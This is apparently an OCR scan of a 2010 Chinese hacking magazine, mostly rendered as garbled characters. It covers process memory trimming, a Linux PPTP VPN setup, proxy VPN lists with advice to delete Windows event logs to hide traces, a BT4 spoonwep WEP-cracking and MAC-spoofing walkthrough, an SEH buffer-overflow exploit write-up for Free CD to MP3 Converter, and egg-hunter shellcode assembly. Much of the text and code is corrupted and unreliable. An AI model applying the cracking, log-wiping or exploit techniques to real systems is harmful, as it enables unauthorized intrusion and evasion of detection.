RS WEIREN R KR/ TAERE . A B8 X B B B NS,
REFEREIXME G, e aEmEET .

REMAAE, IR R G — A U RS . IUE R BE A RN (RIS A
SHE) CAARER MBI TR T o N 1 iR A A7 22 18] Sk K 1), 51N T R
AR, R MR B R A E A I — B 73, 8 IR R

—METFIBATH, HSLFEAZ A AL N EF, A — 7 B APAT AR 2 17
NBEREH, FELL “T07 AL A, BN EESAENAT AT BERGCEH N7 H
PRI R NBE e A T, XA AT, HetH AR AR DL “T07 AT .
AFPLXAEERAR “007, — AN TN ERGICEE TATET, B2 rE0E —
FERI. 7E Windows RGtH, FETLRIK/NERIAE 4KB, BHAT “T07. (H2TUTH 3R
F& CPU AR 4% 2 18] (e, REKERALE CPU B S B A (0 B AR R 121, B DABE N TUH
B 2508, N T BN, BERATE —RKRINNEIEIATHE, X TFrkgniitt
AR, MMERGR.

REPOZATIXEM AR, U — G RCE A SR = IS AT HERRET, xRk 42 e 46
NGB AR, 28— /NI TR RIEIRES, T H Lk dn /N s A T stE R
X ARG, LS/ N, CAKA T EEPAT D e th B S 2 (a h T, BTDUA
BEPERR A /NG A L S AR T BT PR S B OIRAS I, 75 20K S e e P AR PR RN
WAF, BIUC T, CPU M AC B2 RIZ Y, (HHIL 72 RS8R o RATTAT DA A5
ook MEE—T Windows HIIXMHLE . FELEAFGH WORD N, fE4i/INal, M ANAE S HZ
47, A 1:
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B windows {48 58 - O] =|
FHE DD B'EEW LW FEEhH)
FrFeR R e | mE |
B S5 7 R | cev| mEER| -
SB0se. exe aa E
taskmgr. exe oz K
IDaG. EXE uln} E
urlproc. exe ulu] K
notepad. exe ulu] K
ctfmon. exe ulu] K
ac K
SB0tray. exe ulu] K
swchost. exe ulu] K
swchost. exe aa K
swchost. exe aa K
lzass. exe aa K
zerwices. exe aa K |-
winlogon. exe aa K
CSYSS. eMe o1 K
spoolswy. exe oo K
SMES. eXe aa K
WFService. exe aa E
rrnl v er exe ni 11 PRA K ;I
sHHIE € |
S 24 [cPu fEFE: 4% [RATTEC: 410M / 3434M 4

K1
FF WORD /NG, B ER AR/, W 2,

B windows {£5- 5 H 8

IHFE EWOQ) FFYW &AW #HEIH)

—FAAERAG IMZ T
=10l x|

mREE B |me 2R

B R E TR | APa [ cev| mF@Em| -
JE0=ze. exe [N} 100, 628 K
taslmgr. exe 0 5,932 K
IDAG. EXE oo 12,230 K
urlproc. exe o 5,043 K
notepad. exe o 368 K
ctimon. exe o 484 K
L] K
JB0tray. exe ]} 5,255 K
svchost. exe o 480 K
svchost. exe o 1,408 K
swchost. exe oo 1,404 K
lzazs. exe oo 872 K
Services. exe o 1,098 K |
winlogon. exe oo 954 K
OEYSE. eXe o1 6,944 K
spoolsy. exe ]} BS54 K
SMEE. exe o 14 K
WPService. axe oo 345 K
FIY'I'I-I nreY pYA |-I1 11 ?FIH K j
dwHiE E) |

IS 24 cPU {EA: 11%

HRATER: 413M [ 3434M

A

K2

HARKME X 72 IR TR 7. RELEFKEGIET,

FEEH 2010 £7] (REER)
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FrUL, FRATAT AAS X R 258, bR AR S FHEIR/DN, al Bk e e A B AR
B R E B, PR TR T RS I AE WA, (H2— BRRFHOE, BEN150K
ZHNWAE. 1 SetProcessWorkingSetSize () BEIEZXFEHITIRE, NMZHIH T “#&Ei#
TR B K e/ TAE 6] X Al 7 IR ? g e B AR o5 WA B2 1R K o

AR ERATS, DU R B SAAMSE ), MEE AN, TR, 5T
K

BOOL SetProcessWorkingSetSize (

HANDLE hProcess,

SIZE T dwMinimumWorkingSetSize,

SIZE T dwMaximumWorkingSetSize

)

— AN RIEBEZE, B —1S8 hProcess, BHIZETLZ HANDLE, BlFgE — A #EFER )
;28 =S8 dwMinimumWorkingSetSize MEE =24 dwMaximumWorkingSetSize 73 Hil /&
WE B AT A B N KA ) . AT FHAF40FE MSDN, X F—4A)3F “If both
dwMinimumWorkingSetSize and dwMaximumWorkingSetSize have the value (SIZE T) -1,
the function removes as many pages as possible from the working set of the specified
process. 7, KMEP & B2 H % dwMinimumWorkingSetSize Al dwMaximumWorkingSetSize
WEM-1, IR DB S, HRIPASH £, KIERENTTFEM.

TR TN REUS, AR S — DT, B2 7 B DRl /2 4 78 e 2R I AR R 25
ARG

#include <stdio.h>

#include <windows. h>

#include <tlhelp32.h>

1111077077777 77777777777777777777777777777777777777777777777777777717
/////by AL

/////email: 1x#tshellcodes. org

/////BhEe: SetProcessWorkingSetSize PREH/N

/1117777777000 7777777077777777777777777777777777777777777777777777777

int main()

{
// %€ X —1> PROCESSENTRY3 £ 4, FFIL 78 45 KR/
PROCESSENTRY32 pentry = {sizeof (pentry)};
//F3 CreateToolhelp32Snapshot 37— MR IE
HANDLE hPSnap =CreateToolhelp32Snapshot (TH32CS SNAPPROCESS, 0) ;
/ /13BN E AR
BOOL bMore = Process32First (hPSnap, &pentry) ;

[/ AL R T HERE, $R 3 WINWORD. exe iX/MiEfE
FarHF 2010 £7) (RRIER) © FBEHA WRNRE
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while (bMore)
{
if (stremp ("WINWORD. EXE”, pentry. szExeFile) == 0)
{
//InERKE], Wi OpenProcess RAGE HI AR
// TR PE MSDN X} SetProcessWorkingSetSize HJ#Hii&, FHFE N IH
PROCESS_SET QUOTA #X[R
HANDLE hProcess = OpenProcess (PROCESS SET QUOTA,
FALSE,
pentry. th32ProcessID) ;
//hProcess AN AT REK ARG T AIMHTH
if (hProcess != NULL)

{
/ /YA SetProcessWorkingSetSize A%
SetProcessWorkingSetSize (hProcess, -1, —1);
CloseHandle (hProcess) ;

}

else
break;

1

bMore = Process32Next (hPSnap, &pentry) ; //3R45 F — /R

CloseHandle (hPSnap) ;  //KFHH]JHN
return 0;

}
PL_EARRSLE VC6. 0 gmiidit . 102 PAS A%E 1) WORD #EF2 WINWORD. EXE Nf5l+, Jmiffs
e, BAVE ZE AT S H S TR T SR N AE RN, A 3.
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£ windows {55 S - Ol x|
HEE EIND EFEN AW /R
FRRigRE R |pese | mEE |
BRiS S ER GRS |_cev| raiEER | -
JBlze. exa uln] 21,824 K
taslmgzr. exe oz 5,980 K
IDAG. EXE aa 12,332 K
urlproc. exe uln] 5,045 K
notepad. exe ao 1,892 K
msdew. exe ao 2,172 K
ctfmon. exe ao 2,168 K
. EX E
JB0tray. exe uln] T,616 K
svchost, exe ao 450 K
swchost, exe uln] 1,416 K
swchost, exe uln] 1,956 K |-
lza==. exe ao 556 K
Services. exe uln] 1,104 K
winlogon. exe ao TSE K
CEYEE. exe ao T, T44 E
spoolswy. exe ao BS54 K
SMES. eXe aa 14 K
WFPErrwicre pua 1 S48 K LI
AT E) |
[EEREr: 26 |cPU ER: 3% [$BATTEMI: 433M [ 3439M P
Kl 3

PRIGIBATRIA G S IRE ST, AT R/ IR~ 25 17, Wl 4.

H windows £ 5 52 S - 10| x|
HHE EWQ) HEW FAW FHEEH
mARE e | | BE |

BB BT R | cev| parFiER | 4|
EMSE. eXe oo 44 K
spoolsv. exe o B84 K
CEYEE. eXe o T,944 K
winlogon. exe oo 1,378 K
Services. exe o 1,104 K
l=zass. exe o 1,320 K
swchost. exe oo 1,932 K
svchost. exe o 1,420 K
svchost, exe oo 450 K
360tray. exe o B, 832 K
112 K
ctfmon. exe oo 2,178 K
medew. exe o1 5,532 K
notepad. exe o 1,692 K
urlproe. exe oo 5,048 K
taslmzr. exe 04 B, 160 K

VOSpawIL. exe ]} 1,188 K
IDAG. EXE oo 12,332 K

ARM=a e n on Ton k7l

EFHEE |

TR 26 |cPU fEFA: 8% ARALEL: 424M [ 3434V 4
K 4

EAFEF B2, B CreateToolhelp32Snapshot B % r— N FER IR, 44
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Jii Process32First REGRIGH — MR, HEBH - MEHRITHER, RERHIREALE,
M EEREIEE I, BEAR R, A et 2 A 2 A TH BRI, g
=, B SetProcessWorkingSetSize BR%EL; 75 WImk 4k ZEAG3F 2] F — i FE .

FEIX HLRMETHA 1 — N B A A ROME S, S KRR B WAF RO 1 — A K
TRRT 5 REER I AN T L DU e 25 A2 W] ARG Y — 2 A2 S (AL A e AR A A, (HAI AT
B UL, S0 RGUEE, ORI T, CPU RS 2 [ 22 HAAE &R 9. 5 H Windows
REHA TRADIRE, ARG AR F AN, Cadtii o AR RS %, B TR
SEACHAE AR RUAT .

HNAFE R BEREX S N B IE A AR ST, 8 R BRAE R G R, BONR Ik,
ARG T — DN EEEIE, B2 A5 SRR/, 20 38 R RS B
(1, 72 —2eds . (RN ENLR S . GRIE RGREHES Wt HD) . QR AT
Windows #E R4E). (Windows WAZJE 55EH). 2T Linux WAZJTHEIK, A SAEKHE 5
A, KREWTLGE M. HREXEHER 7 HESER LA, R EEARTIN.
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Linux 3% VPN RS
fE&: CN.HK

R A ZOBARGEN R, ROA A E L IR CE IERR (B4
D) ENRA LR or PR VPN 1 TAREBEALE Linux RGeS ETE.

[5PIY- T
B 4G VPN 9 SRR 2 Virtual Private Network BJ: FEHLE FH X %%,
B2 e SR BRI S FH Dh g A 4 W ?
VPN F Ji B (s ] DAIXRE B ) « ] BRI AR (%) 30 A A2 R TR L B A W 2% rh i S — A
LRI 2 ETE, B T I W4 1T L
VPN FIREAH: ARER, Ze4NiE. HdRnE . maL A,
HZMKT VPN BB R FKIRA S EM e FEh k3], X EHAZ R

LhR -
KWL —4A VPS (Ubuntul0. 04 server W)+ root AR/ (AZ0) VI JwfH 35
K KRGS N windows XPo
1. 2% pppd RN SRR pptp GRS ABEE M) A1 iptables (k%)
34 apt—get install ppp pptpd iptables

2. ZHSERUE Tl AT A (R ELEIENATID, RIGBE N B E CBR

IRZEIERD .
i
PR - - Ct laks: ~# mknod /dev/ppp o 108 O /)RS

shs:~# echo 1 > fproc/sys/net/ipvd/ip forward / /5 WA

KN/proc HRW RN AL T AATH, UL ARG ER G2 Z Az H XA EA
ENIRE NEINEPIR
fif R IpiE: FATAT AAE R GE R S AT R A T AN INX ok fr 15 5] QB BN ERIXE
JAHEL T B i B R DI fE

2.3 T /ete/re. local X4, LA E (2.1 F12.2) &S WIMBISIEF “exit 07 iy
A2 HRAFEH (ILTFED.
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tnlknod o
acho * fproc s/net/ipvd/ ip forward

exit

(B N/ete/re. local TN )

3. ZwiH/etc/pptpd. conf XA, pptpd BRINAIEC & S04,

B SCAE NI Tocalip A remoteip BITHIAY “#” GEBERT) £, 5B—A N VPN BRIANE 25—
AR RS (VPN) 2 EC I ip Bt

localip 192.168.0.1
remoteip 192.165.0.234-235,192.165.0.24!

(B A%/ et/pptpd. conf CAENZE) .

4. Yw%a/etc/ppp/pptpd—options Fl/etc/ppp/options PAA L 15 B DNS.
[F1) AN A P S N i THT X B 4535 4] ms—dns 8.8.8.8 Fl ms—dns 8.8.4.4 (GXHAFH google
DNS) »

ma-dns 8.8.8.8

ma-dns 2.8

BAT/4: “openssl rand 6 —basebd” FEAEZERG

rootllabhs:~# openssl rand 6 -basecd

zLkE3vpu

5. % H iptables #iM:

WARAEE iptables FUU 2 HIEHE VPN J5 A8 LM A IE B

BT 4. “iptables —t nat —A POSTROUTING —s 192.168.0.0/255. 255. 255.0 —j SNAT
——to-source ifconfig | grep  inet addr:’ | grep —v’127.0.0.1 | cut -d: —f2 | awk
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"NR==1 { print $1}’ ”

“ifconfig | grep’inet addr:’ | grep —v’127.0.0.1" | cut —-d: —f2 | awk ’NR==1 { print
$11 BN T IREIRIPIANL (VPN server) 1P dbhb, @nSRUL ERIA AwH, vl 1P Hh
HEEAR.
LUNNE

rootflahs:~# iptakbles -t nat -1 POSTROUTING -=

-] BMNAT --to-source 123.123.123. ?HI

6. FJGUNIIA Y, YmfE/etc/ppp/chap-secrets SCfF:
Wzt Gt “HiP 4 IRSFPRF  HAPEE BREER P il AR
D RS I P RS, an

wpnuser pptpd userpw TTI

KR vpnuser N 4. pptpd SE RS SFHEFE . userpw N AL w5 ARG Y
B 1P,

LR ESERE A FRATM pptpd ARS8 152 B A 30
BT fw: “/etc/init. d/pptpd restart” BIW (I FED,

rootllabhs:~# Jfete/init.d/pptpd reqartI

(I NE ) pptpd AR

Ty BRJFEANTERATHCE VPN RS 5 AR —ER T (A windows XP N%83m 2 48).
FAHTIF VPN (4R 5 R Fr BN RIS (1) VPN H P 44 A i (IR )
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(AN VPN 5 R)

s “CEERT fRH REATRES

SR FATATLAE server EEFCEEREIH S, LR “ppp0” KIHEHA] O 2%
%E’Jﬁﬁ):I (& FED:

rootl labhs

T N
Fo s = - e —

vpnuser pppd ez 26 10: 4” [111=

ZKExR AP %N vpnuser I P E24 T server #2537 VPN #54%)

FERMI 7 Ik

2 BATELAE Linux AEEP RIHHE L T VPN R5S .
AXH AN, EERF WA FIG .

ZeKMF 2010 FH (REERR) © ZFEEH RNAE

226



S FEREM—EITESE
fed: DK

ICARAERE AN T — BB SO I R AR e, B LRASOEE T AT A R 25257,
FidfE. FEAREHCHEN, FEMIRZE DA ZEMAR!
N T HESRICAZ I BA IR — B R K LU R TG AR 24431 !
HOEE FERE R ) FRATEYNE T, W], A AR SRR ?
tn A AR “HEDOREREE” BB ERNTS LRERM ok
“COTEREET R, (PS:T T WANERRACIRAFER, AR H A
HiaR, dRasT 0 RUEH AR SO BER A HRYE? XAt LA R RE R, A
W RTERA IR AR AR B OB, e RAEANE, MR, M AR. ([
FIHE FOR W TR SOACH RUE R RE B S R T, (HR BRI R BE H 2 L4k
1o ARG T ? BUEBHIAR A KL, #AMIMERMIEARR T . RIS
Waz n HE, B
A, N, A SEORHEA I LR AT G B LN R, A E B R RIS
RRFMEIRT -

'|. #E Mm NAE HiE MP3 EE W #E EEv
Bai D& [=wms BE—T
iEEEwm AT

EfEME AEHHE

EN BEZEESEAAHEERS PR PECERS, A RAT0~090nm, . EFEAES
AEEE BE A ELEWTER R A EME. dELE . A33nREE

EX - HE

baike. baidu. comAiew/250609 . htrm 2010-12-18

LEEEERSE RS B EREAETE To3E e

20086 A26H . ASEHEEMNSFETSE #HE—15FBE—I £ AREEESE —F =N
mERT B ZEEMEREW. HFEEPEN ZFES S FET 2 AptEM..

society. huangiu. comdroll/2008-06/1 48976 html 2010-12-9 - B

EfER “EENAR PEBRID

IEH, TELFERE—1EE T, UREA=THRIMERT “Ha~AR" “TLAR” “F&E
MEs” “ie )l FEET 24 EREEME, 8 9 s EEINTREEE 28

newws. xinhuanet. comfiden/2008-12/26/conte ... 2006-2-17 - B tREE

TP E R FE T SRR
THESBEM, —EE CEATRIBTETH LEPREEE 50 BETES
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Goc ;gle 2,15 3 o

FE484Y 18,500,000 FiER EER R

2 FEEE LA F G IEME S BT R BEERE TR e RTE PR

@ EA 20086 H26H . feFRErB A LIEEWP.L 2T 2 ERIEER A E IRFERME, S5
et & ) S -BEEWME S AHIZEEMESEEFRME AR REESEY

[~ EEE society. huangiu. com/roll/2008-06/1489. .. - FITTERER - ZELIEER

= e AL AL SERLEF, R FTes

T Tl BFEEEMMEELEEERE, IHELTILERR, IHEMERHEREY “m5(™ Ak, 28
FRARME A A AR TIAE B CRENNIT HTEErR EFRZM 42 EmM. .

v EE zh.wikipedia. org/zh/% 2566 %2500 %2500%2, . - FUTTERES - SEIsER

M AR EEDSHIN A EFh e T EIETE

e T 20095 B25H . AMHEAEHE, HIFEFRETE, EXATHER—. FHTEOBRT EE.

= ZTEEFY. LEEZBETEENRE MER GRS

TR T wrner. sZnews. comdhumar2009-05/25/conte. . - P TTERER —”?%‘ﬂ;!éﬁ%
EC N -] .
mm R R
SREEN T BE PR AR B EATP () - 8 et AT
v BEEiWRITA FHEREEMSSESI TR EM—F “&8" . Weide X EEZE I8

H.EBEET . REEEREEFREEE EMNM-EFTEFIER R B
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. RGBT R SR » BETR S B O r5om i
TR B S F Fes (PIIES Internet EEREFIFS.
25
il
? Kr—so|[fZw [ BE |
41

=
W BT HMEER T4
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HE 5

EEE
B EIEERIER T fEARRRE R B .

£ T EiE S i A R B .
28] (4)

BHU

1 EEVEN

{730 » FEAT L g A SRR T T S B B R R R S a S

13

f KI—gm[FfZzw [ _BE |
#

LR ATEIN AR B IP I HLIX 447 E TR

Bk S

VP BES Bk
g R T e

iSRRI EAIRIENEEE 1P Hilt.

FAEEE TP HitE 0RIO0 5 miecrozoft. com BE 157.54.0. 10 (H):

_

112121172, 132

< =% @ |[F=Hw > | By |

BN RSSARAGH TP
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Iatrebeln 5

s

A R R A T MRS,
2 AT L AR B R R R i F R R BT, RS TIREAE
4 FREIEE.
; O EREwEE W

© TERHAEEE O
i
It
E (I—F®|F-fw > [ B#E |
1H

L

FREEMS
IFr R EERS

BRI AR T RERR RS

FHEVEH
« SHitEY ERRERPEZ

HEEERERETT A, PISER” ik
M EEMEE LRI — T BHE R E A E)

EERIEEASHET, B “l” .

ft—%®| =% | [ =& |
USSR AT
gexH 2010 1 (REEHE © ZFEBEEHA WNRE
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S LR —APREETT T e

BN A SR X e R T

IR
A 2ffan N E
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FEER A I (10 72) L BER RS R T
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IS FRATHE U L 8 N FR i A X 2% e e AR B R A0 3 QQ MR TE IR 8 3 45 !
XA T B BB KK T RESEAF IR B4 B & — MEITAL R 3 CC VPN Server ZrfifiiA
WL 55 8 AING IS AT el BA 1!
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BB AT L ZRE g5 s R 48 LisdT BI&iR

fEA 7 AR B ELf2 s ADD NEW G H 7
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WEIKS M 5 OK. XA TR S 28 WXSE S VPN 1o Ah[F F B RS 8Tl T .
WU KREE RS A EATrE?
AR LR I7

M FTHMub http://bbs. 8558. org/forum—41-1. html

AEH £ 1) VPN B

Lol P Sl B R ==
81.137.108.85 =E
68.196.219.254  £EH
83.222.227.60 ==
H0.255.39.43 HEFHr
217.106.203.245 HPH
195.138.210.78 AR

£ FRFEERAERERE A LR

TP UBERATE (H 7 7 B RITE K S B 2 M SGe Iz [mlh

BB Rk http://www. 513vpn. com/ IXAMUEHER — o —/ VPN 7= 5 B] PLZE B Y
gé
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http://www.513vpn.com/

frust 23 = aRE T 7= i BRMESE AEHANE
O BAERENEER 1T/ 0 E =Ll
(2] ERFREAE RS 2TT/F a ES= e
O ERrERERE 1575/ R o Ea=ruple
® ERrEE A RS 3075/ A 0 Ea=pniles
O ERFEAERE B0TE/ZE a ES= e
O ERFERERE 3007L/E 0 Ea=ruple
@] EfERARS 1575/ A 0 E=rniles
(2] B Rk 15075/ a Fmnlke
[P

LT8R i PRI IE R2 R SR A AU

B =Fh: http://www. feiyisoft. com/ T# VPN 7 E 4%

Tk

FERHE 2010 FH (KR © FeEH WRNFFE

261


http://www.feiyisoft.com/

e RHE 2010 1 (BERKRE) © FeEH WRNFFE

262



XA B2 M52 0 VPN 1 ik — PING DR 1R
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IXFEAREE BT 1!
254 Fh: www. taobao. com 8% vpn fCHE, FHHE VPN, ZE[E VPN XZRHER.
B RFBEWSTE VPN 8 B 2 BA WK S — 8 XA atin ik 5 rTHJL
AN 1!
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http://www.taobao.com/

DL AR 2 VPN BARER @i VPN ARERIRATR o] DARSGE 3 S B setihl, Ao L 72
HE EARBURENE BN EN b 7 EE VPN k585 ER &S
VPN 5 J5 5 BN VPN IXFE L 224 W A2 B LA . — 2 B Y A4S & L 84S
2, B B RS 4 XS 15 B VPN IR 4 FR AR i Jaid i G 2 1 VPN IE S R L BN I
% 2P A A2 H S H B Bl R EMRS A L, SRR 2 H OSSP EANH
HEEN, HEROT 8%

C: \WINDOWS\system32\config\#4% N H*. Evt X

C:\WINDOWS\system32\LogFiles 4% T Frfa 1

BN A S NES A 1P bk fEOR A7

WAZAEM, WA E—NFE AN S A S 278 55 LIK B B SR IR A R
Hah !

X TG B VPN B W2 ) VPN 3 BB AOR 5K A A 6 Ji DRIAR ] B, 3X 28 VPN ik 55 2 B A A
52 A R—A NAE A & A 1R 2 Do A F LB B, A54 2 FH P EME X AN VPN, 4
TERENIRIR —RELE Z M, H O ame R RET.

= BERARKIEE 1006 A ZI 5 H R ERER] P BRATHAAHED!
RA g R K2
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IR IX BB RS BT3 |, BT4 Jo2kit A AR HEAT I R B JE 2k B L i 2 4
BR& AEE BANMKE 1 2 BAE 5!

122 BUROBE B, PSR B TIRARIE A IR A I R B % 25 0 e (5% Al 2 PR S M I K T P 17
ZeKMF 2010 FH (REERR) © ZRBEEH RNFE
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2R R IR A B AE D IR
B SR 2N USB Hi 1! 3% R S BN B B P |
GARFIREN I, W] AT IR JC 2R 32 S -

BA IR A5 ST B T oL 1!
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AR FRATHCE B0 T7 BRI 48 7 | 2t e BR AR A !
(BRI (A5 S 7 BATEEHEAT QR B EREAT B !

LR REAUML:
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—H TP EIEREIT !

e RHE 2010 1 (BERKRE) © ZRBEEH RNFE
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IS0 Bk BT3 i BT4 1y 1SO SCfF!
BN RJE SN S AFE N i [
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HPLX AN E S N startx [A]ZE)
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BN BT4 i F 5t 1
NS CLHEAN USB J5 72 ML an F#fE

WEPELF FAN B, BOR I E JA IR i L spoonwep EAR

ZeKMF 2010 FH (REERR) © ZRBEEH RNFE

273



R B IRA] OK HBALEFEFIH) NET CARD E#E WLANO 2 FA I A e & HAhkmian =
e

1 B UF J5 it NEXT

WBE AT IR R It 1
ZeKMF 2010 FH (REERR) © ZRBEEH RNFE

274



WRBLERE U 5 F  LAUNCH X FER a1 = s B R an & s 5%
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WP IF—/ME S )5 s SELECTION OK HEAN K —#
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AR R 4 Fh g =X 2 )
%— ARP JEA

¥ OZHEN

= WigEA

EUIRYEREIN

WHOZ, = TR UANE AT R
Helf 5 iy LAUNCH A7 BT el 1
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ZLEER 7y WEP KEY it J D HRAR ok 1 5 1 % AL B Hh SRl mT DA 4t R AL
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P o BRI
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RS T L o AR BRI !

PRI A REHB ARG SIR MEREARHMARER B A (A FEIRIEA 4
TERER WA GE R AN 7R RS A BRI E O 702!

BE UL RIFANRZETEH B AP R, TEM 1) MAC Hihk#f s, tho] DUXFE
i FATAT DAEE NG N B 2% EH 2S4S 200 B MAC Mk R ERATE SRR
K MAC HihbIx A mEmg

BEAE R TR BENLA S MAC 7E 3 MAC 2 ids 28 B Fanfz ik
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HEFRAS AH N i A i MAC
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e Ja EE LN AR

BRI H T iR R LT MR S 1A, NIR5E)E K REIIL 3E JF sl RIXAs e fIAL
(K] MAC it 2 5 B 2L DA B S Rh RO A4 & A B AR B RCR !

B —FORE BRI WWZ TR TR

Wywz. exe
_ &] fhrizd /e,
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Free CD to MP3 Converter v3.1 RusHIKHAH5SHIH

Y& : riusksk GRED)
EW: http://riusksk. blogbus. com

FXERET (BEPL)

s

AL RAE exploit-db EHEFIILINIFAA Y, WA R MR T, TRM T TR
ST, FFECEITE TE exploit, fERMNL xp sp3 FEEWKMY). LATHEAS
R TR MRS CE, SRR AR, A C3iFair 7 FIRFEBE, PHtds
TR ., RO FE Free CD to MP3 Converter v3.1, ‘B —#¥ CD FHFEEH
K FE48 i MP3 4% A o 12 A AE S U SO B AR B6IE L N 2 KN, T S 807 5L
1 PN 25 DR AT B JR) 08 AL B AT 5] et T 7 SRR [P okl DL K SEH 254, Sl F P i A
R S R A AT AT AR

WA
fE ReadFile L TFWiJE, @it 2 iil, HAKE] 7 IR KA sub_4AC138, HAE IDA NI
IEGRACHS IR
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RRAA
Pl 1969 S — Bt perl RS T A, AR 0T

] windbg N# FFEF cdextract. exe, RGBT IHFTHATIIA AT crash. wav X5, 45
RUF:

IR EHhE K SEH ¥ el s s, el DUHZ B jmp esp & pop pop ret BFH 7 AR SLHL
I TRRFH ABFRAEA BT , FIH jmp esp 7 75 1% [FIHE 5 A Bk shellcode, {H shellcode
WL T o ) windbg 4fiff bgakugan ) memdiff DIREXT L — " WAEH shellcode FIJEA
5N shellcode, RINAAFH54 5 st 1o A LUK FLEATSH pop pop ret 237 # SEH
g, HEMRIAT shellcodeo 432 FRIATBIZE i — T 78 o5 SEH S5MFr & 1744, X4
" UL E B Metasploit H ] pattern create fll pattern offset IXAN/N T AR ELNL .
FATSH pattern _create 42K 5000 T35 HIHE 78 74

FEEH 2010 FH (REKRR) © FeEH WMWAA
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SRJEAB LRI per] AR, FHAR IR 54 85 #5428 junk A2 -

FH_E T FACRS B8 A2 B crash. wav, 285 A windbg INEEFREF FATH crash. wav, 85 R 41F -

% H pattern offset TEIFH —F:

FEEH 2010 FH (REKRR) © FeEH WMWAA




M THBAT 3 AT AS B AL ol 4156, BUAEFRA Tk T LA S B A i S A

HOBT M windbg MNERERER, RJFISATIFATIT LR R crash. wav SCfF, 45 RATT

m Er W, RAICLWERME S 7 SEH 458y, BIERMT R FER jmp 06 K78 5% nextSEH,
H pop pop ret fE&HuNEKAE G SEH handle, FHIEJSIHI#% [ shellcode, B AJfHHH01T 3]
shellcode. NTHFAIYEHKFHK—T pop pop ret FEAHME, (HEIFH A, RATILHH—
AN )T AR . AP windows B4 FIY SafeSEH {447 v &, tnSRIRATHTAE FI ppt Hidik
JE%Z SafeSEH R, 2K TCIEIFIH . BbFRATAT LAJEH OD fiff SafeSEH kA FH 72
¥ I RS e R 52 SafeSEH LRI, SR FEARBLE 48 ppt Hbidik. FH OD 4t
SafeSEH & fa, KIMALLF =AKZ SafeSEH R

FEEH 2010 FH (REKRR) © FeEH WMWAA
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FATAT DIAF IR H— k48K ppt Huhl, X EIRAILL cdextract. exe IR R b, 55T pop
pop ret FEAMER, WATTTLLE M Metasploit T. B msfpescan SRI RIS . THLHME

+
45
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HE AT PSR FA S 21 ppt Hudik, XEEATMERIEME 4. THERHIE exploit
(T

AR
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ARIHH AT B shellcode, BRLEFRATT_E shellcode, XL A H 4T9% 5 5L F Metasploit
AR, IERBIRZAN exploit:

ISR -

FEEH 2010 FH (REKRR) © FeEH WMWAA
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B Hg s e & DRUEOREOEER B A4 H

Display format: o info Sowrce Addrs Headings Norvolatile regs Frame nums Sowrce args  More Less

IF not in any wi wodule. Following f

0
bd 9d £f dS
f 15

Ln 0, Col 0 Sys 0:CLocal? Proc 000:1380 Thed 000: 1504

O i Th AT shellcode B FFIHAE T

%t

ASSONAFE S R B T K 547, 6 B T 3 B OO R A
BRSO AT B (LS AP, R AR B RO Iy B 5 4 i
T BRI, AU R L VBox FHIBAML XP sp3, 45 exploit 47
PR R SR, A BRI LA R B I Exploi .

ZeKMF 2010 FH (REERR) © Fe&HF WA
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Shellcode 73 BRPATH AR R EE

fE#: riusksk CGREP)
EW: http://riusksk. blogbus. com

EXBRET (REHLK)

VIR

AU

i 13

BT 7R 9 b A b, FRATAT e 2 38 B 9 A7 Th A R 5 11 A3 TR] SR A7 CERATT 1
shellcode, {HEFRAI AT LAFEHIZ NN FZS BN E, IR BATE AT A shellcode
S BHATEARKBAT R, XMAEEEIMEFN “Omelet Shellcode”, J& T egg hunt
shellcode HI—FE, & 4afE M P ok 23 ) oh S48 5 HAHVCEC ) S AN /N AR Cegg), SR
Jo BB L E A R — BB shellcode, #xJathAT €. BLIUH R A& B 24 EL BE
SkyLined 7EH 0 E AR CRARARISZ W), 1% B&LHTIR T Microsoft, {HT 2008
NN Google, [AIIfAh 2 2 44 1 7 BEEU T shellcode 4ifid #% Alpha2 / Alpha3 7T
e

JRE ST
$ Shellcode #i7lE E K/ AMAUIEE, SR h L5 A 735 R size,
ZIMH index, FRiC marker (3 F747) MEHEAEA data, WK 1 Pios:

Size Index | Marker

Data......

K1
Y egghunter MRASTFEAPATHS, BSTEH P N2 EH (0x00000000”0x80000000) 421X
BB FRAC I /NER, SR 5 1E P AE R B A B PTG shellcode AT E .M 24 shellcode $hATHT,
‘BIE e SEH DUAGER YT BB 5 oL, # I UFaiEw], W SEH handler 24 itk 5
OxFFF #HTEUEH, AEFEM L, MU THNT W, DBGE AT S A7 . Wik
RN A7 LK T OXTFFFFFFF, AL bR, FFENAFHEN shellcode H THAT,
30 2 B AR (], Bk BRI A E AT S o A B TR AR S (MFER, B EHT i E SEH handler
TSR R NAF . MRS AT
reset_stack:
;BB M A ARG 13 A AT S o A BRI FE S AR (], R E H O AL EIAE DAL 34
F§ A A IS L) U 1) 2 48] 1

XOR EAX, EAX ; EAX = 0, FAENHEEE
MOV ECX, [FS:EAX] : ECX = SEH ZifysE 3
find last SEH loop:
MOV ESP, ECX : ESP = SEH 454
SFeRH 2010 £7) (KRR © FeRHA RSB
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MM 0x00000000 FFAGHEER 5, HHREILUHITACH) egg_size Tk egg WAFER, ELHK
FET ¥ DWORD {5 —MRFERE (3 FATHIARICAEA 1 75/ OxFF) e, I 2R 1E4k
(] egg WAFHL, A 2FRIMMILERZET NAARIRE TS (N0 JFR), HnsE =Bt egg AAF
BeHIZ A~ DWORD {8 4 0xBADASSFE, JIEA ‘&5 0xBADASSFF AHSF By 1. I RAEAH LA
(1] egg WAFHL, WIZKEER RN — 745 XK U0 Fros -

HE egg WAHUG, BHAFH KN egg_size HEIMH egg index MHIET] 15 E1% N A7 HAE 5
% shellcode I egg offset, SRR E FIN LA7H shellcode HIHZS (Al 4G L,

FEEH 2010 FH (REKRR) © FeEH WMWAA
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RGBS L, JFRZ egg WAFIRE BRI LR AL I, EEITAN egg WAFHL 2R il

ke L, HEMER EEMH5EER shellcodeo HAMATHIHIT :

5 H 2 BRI R L AT AR 1 shellcode:

XFERLTERL T A & B egg WAFHLIVIEZR, JEEM I 7E%E shellcode KT
FER: TR R4 2 0x0000000070x80000000 2 [ () FH - N FEA3 18], PRI T-FF 8
/3Gb (0x00000000~0xC000000) FFIRHI R G IFAIEH, 5 B AEXFER R Lt vl e 2> 35
o egg WAFHARE R, DAEUGIEIEM AT shellcode.

£ 2010 &£ 8 H, H Exploit 45 RIIBIEHIVEZE Peter Van Eeckhoutte 45
egg—to—omelet hunter FEJFIEHIHE EAM T CGEARIRRSZ W), A2 55T i 56 i
SkyLined %5 1] omelet hunter #AT T B, #EmILAIIZREMEE M. WHTET /e 2T
MR RE (Ox.... ff0F) FFAGHER, T8GR I NULL 72795, ik egg WAEHUEE nr_egg
